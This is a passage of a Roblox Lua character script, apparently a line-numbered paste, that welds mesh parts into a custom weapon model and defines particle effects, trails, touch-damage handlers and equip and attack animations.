  2849. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2850. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2851. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2852. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2853. Part.Touched:Connect(Damage_OnTouch)
  2854. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2855. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2856. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2857. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2858. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2859. Part.Touched:Connect(Damage_OnTouch)
  2860. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2861. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2862. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2863. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2864. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2865. Part.Touched:Connect(Damage_OnTouch)
  2866. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2867. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2868. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2869. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2870. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2871. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2872. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2873. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2874. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2875. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2876. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2877. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2878.  
  2879. local modelzorzz3=Instance.new("Model")
  2880. modelzorzz3.Parent=Character
  2881. modelzorzz3.Name="Eye"
  2882.  
  2883. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2884. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2885. handle.Touched:Connect(Damage_OnTouch)
  2886. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2887. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2888. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2889. Part.Touched:Connect(Damage_OnTouch)
  2890. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2891. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2892. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2893. Part.Touched:Connect(Damage_OnTouch)
  2894. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  2895. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
  2896. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2897. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  2898. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  2899. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2900. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  2901. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2902. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  2903. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2904. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2905. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2906. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  2907. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2908. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  2909.  
  2910. p = game.Players.LocalPlayer
  2911. char = p.Character
  2912. torso = char.Torso
  2913. neck = char.Torso.Neck
  2914. hum = char.Humanoid
  2915. hum.MaxHealth = 1527500
  2916. wait()
  2917. hum.Health =hum.MaxHealth
  2918.  
  2919. local particleemitter = Instance.new("ParticleEmitter", Handle)
  2920. particleemitter.VelocitySpread = 180
  2921. particleemitter.Lifetime = NumberRange.new(0.1)
  2922. particleemitter.Speed = NumberRange.new(2)
  2923. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2924. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2925. particleemitter.Rate = 100
  2926. particleemitter.Rotation = NumberRange.new(-45, 45)
  2927. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2928. particleemitter.LightEmission = 0.8
  2929. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2930.  
  2931. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  2932. particleemitter.VelocitySpread = 180
  2933. particleemitter.Lifetime = NumberRange.new(0.1)
  2934. particleemitter.Speed = NumberRange.new(2)
  2935. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2936. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2937. particleemitter.Rate = 100
  2938. particleemitter.Rotation = NumberRange.new(-45, 45)
  2939. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2940. particleemitter.LightEmission = 0.8
  2941. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2942.  
  2943. local particleemitter = Instance.new("ParticleEmitter", handle)
  2944. particleemitter.VelocitySpread = 180
  2945. particleemitter.Lifetime = NumberRange.new(0.1)
  2946. particleemitter.Speed = NumberRange.new(2)
  2947. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  2948. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2949. particleemitter.Rate = 100
  2950. particleemitter.Rotation = NumberRange.new(-45, 45)
  2951. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2952. particleemitter.LightEmission = 0.8
  2953. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2954.  
  2955. particleemitter.Enabled = true
  2956. MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025)
  2957. MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025)
  2958. so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475)
  2959. so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75)
  2960. for i=0,1,0.005 do
  2961. swait()
  2962. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  2963. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  2964. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  2965. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  2966. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  2967. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  2968. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  2969. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  2970. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  2971. end
  2972. for i=0,1,0.04 do
  2973. swait()
  2974. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  2975. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2976. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2977. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  2978. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  2979. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  2980. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  2981. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  2982. end
  2983. attack = false
  2984. end
  2985. end
  2986. end)
  2987.  
  2988. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2989. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2990. prt.Anchored=true
  2991. prt.CFrame=cframe
  2992. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2993. game:GetService("Debris"):AddItem(prt,2)
  2994. coroutine.resume(coroutine.create(function(Part,Mesh)
  2995. for i=0,1,delay do
  2996. wait()
  2997. Part.CFrame=Part.CFrame
  2998. Part.Transparency=i
  2999. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  3000. end
  3001. Part.Parent=nil
  3002. end),prt,msh)
  3003. end
  3004.  
  3005. TrailDeb = false
  3006.  
  3007. function equipanim()
  3008. attack=true
  3009. Humanoid.WalkSpeed = 0
  3010. if TrailDeb == false then
  3011. TrailDeb = true
  3012. end
  3013.  
  3014.  
  3015. coroutine.wrap(function()
  3016. local Old = handle.CFrame.p
  3017. while wait()do
  3018. if not TrailDeb then break end
  3019. local New = handle.CFrame.p
  3020. local Mag =(Old -New).magnitude
  3021. local Dis =(Old +New)/2
  3022. local Trail = Instance.new("Part",Character)
  3023. Trail.Material = "Neon"
  3024. Trail.Anchored = true
  3025. Trail.CanCollide = false
  3026. Trail.BrickColor = TorsoColor
  3027. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3028. Trail.TopSurface = 0
  3029. Trail.BottomSurface = 0
  3030. Trail.formFactor = "Custom"
  3031. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3032. local ms = Instance.new("BlockMesh",Trail)
  3033. ms.Scale = Vector3.new(1,1,1)
  3034. local TM = Instance.new("CylinderMesh",Trail)
  3035. TM.Scale = Vector3.new(1,1,1)
  3036. Old = New
  3037. coroutine.wrap(function()
  3038. for i = 1,0,-0.1 do
  3039. wait()
  3040. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3041. end
  3042. Trail:remove()
  3043. end)()
  3044. coroutine.wrap(function()
  3045. for i = 1,10 do
  3046. wait()
  3047. Trail.Transparency = Trail.Transparency +0.1
  3048. end end)()end end)()
  3049. coroutine.wrap(function()
  3050. local Old = Handle.CFrame.p
  3051. while wait()do
  3052. if not TrailDeb then break end
  3053. local New = Handle.CFrame.p
  3054. local Mag =(Old -New).magnitude
  3055. local Dis =(Old +New)/2
  3056. local Trail = Instance.new("Part",Character)
  3057. Trail.Material = "Neon"
  3058. Trail.Anchored = true
  3059. Trail.CanCollide = false
  3060. Trail.BrickColor = TorsoColor
  3061. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3062. Trail.TopSurface = 0
  3063. Trail.BottomSurface = 0
  3064. Trail.formFactor = "Custom"
  3065. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3066. local ms = Instance.new("BlockMesh",Trail)
  3067. ms.Scale = Vector3.new(1,1,1)
  3068. local TM = Instance.new("CylinderMesh",Trail)
  3069. TM.Scale = Vector3.new(1,1,1)
  3070. Old = New
  3071. coroutine.wrap(function()
  3072. for i = 1,0,-0.1 do
  3073. wait()
  3074. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3075. end
  3076. Trail:remove()
  3077. end)()
  3078. coroutine.wrap(function()
  3079. for i = 1,10 do
  3080. wait()
  3081. Trail.Transparency = Trail.Transparency +0.1
  3082. end end)()end end)()
  3083. coroutine.wrap(function()
  3084. local Old = Handle2.CFrame.p
  3085. while wait()do
  3086. if not TrailDeb then break end
  3087. local New = Handle2.CFrame.p
  3088. local Mag =(Old -New).magnitude
  3089. local Dis =(Old +New)/2
  3090. local Trail = Instance.new("Part",Character)
  3091. Trail.Material = "Neon"
  3092. Trail.Anchored = true
  3093. Trail.CanCollide = false
  3094. Trail.BrickColor = TorsoColor
  3095. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3096. Trail.TopSurface = 0
  3097. Trail.BottomSurface = 0
  3098. Trail.formFactor = "Custom"
  3099. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3100. local ms = Instance.new("BlockMesh",Trail)
  3101. ms.Scale = Vector3.new(1,1,1)
  3102. local TM = Instance.new("CylinderMesh",Trail)
  3103. TM.Scale = Vector3.new(1,1,1)
  3104. Old = New
  3105. coroutine.wrap(function()
  3106. for i = 1,0,-0.1 do
  3107. wait()
  3108. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3109. end
  3110. Trail:remove()
  3111. end)()
  3112. coroutine.wrap(function()
  3113. for i = 1,10 do
  3114. wait()
  3115. Trail.Transparency = Trail.Transparency +0.1
  3116. end end)()end end)()
  3117. so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5)
  3118. for i=0,1,0.005 do
  3119. swait()
  3120. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2)
  3121. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3122. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3123. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3124. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3125. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3126. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3127. end
  3128. for i=0,1,0.005 do
  3129. swait()
  3130. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2)
  3131. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3132. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3133. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3134. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3135. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3136. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3137. end
  3138. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3139. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3140. for i=0,1,0.005 do
  3141. swait()
  3142. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3143. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3144. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3145. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3146. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3147. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3148. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3149. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3150. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3151. end
  3152. for i=0,1,0.04 do
  3153. swait()
  3154. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3155. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3156. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3157. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3158. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3159. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3160. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3161. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3162. end
  3163. --dmgstop()
  3164. attack=false
  3165. Humanoid.WalkSpeed = 12
  3166. if TrailDeb == true then
  3167. TrailDeb = false
  3168. end
  3169. end
  3170.  
  3171. function attackone()
  3172. attack=true
  3173. if TrailDeb == false then
  3174. TrailDeb = true
  3175. end
  3176.  
  3177.  
  3178. coroutine.wrap(function()
  3179. local Old = Handle.CFrame.p
  3180. while wait()do
  3181. if not TrailDeb then break end
  3182. local New = Handle.CFrame.p
  3183. local Mag =(Old -New).magnitude
  3184. local Dis =(Old +New)/2
  3185. local Trail = Instance.new("Part",Character)
  3186. Trail.Material = "Neon"
  3187. Trail.Anchored = true
  3188. Trail.CanCollide = false
  3189. Trail.BrickColor = TorsoColor
  3190. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3191. Trail.TopSurface = 0
  3192. Trail.BottomSurface = 0
  3193. Trail.formFactor = "Custom"
  3194. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3195. local ms = Instance.new("BlockMesh",Trail)
  3196. ms.Scale = Vector3.new(1,1,1)
  3197. local TM = Instance.new("CylinderMesh",Trail)
  3198. TM.Scale = Vector3.new(1,1,1)
  3199. Old = New
  3200. coroutine.wrap(function()
  3201. for i = 1,0,-0.1 do
  3202. wait()
  3203. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3204. end
  3205. Trail:remove()
  3206. end)()
  3207. coroutine.wrap(function()
  3208. for i = 1,10 do
  3209. wait()
  3210. Trail.Transparency = Trail.Transparency +0.1
  3211. end end)()end end)()
  3212. con1=Gear.Touched:connect(Damage_OnTouch)
  3213. for i=0,1,0.08 do
  3214. swait()
  3215. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3)
  3216. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3)
  3217. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3218. Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  3219. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3220. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3)
  3221. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3222. end
  3223. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9)
  3224. so("http://www.roblox.com/asset/?id=159972643",Torso,1,1)
  3225. for i=0,1,0.1 do
  3226. swait()
  3227. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3)
  3228. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3229. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3230. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2)
  3231. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3232. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3)
  3233. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3234. end
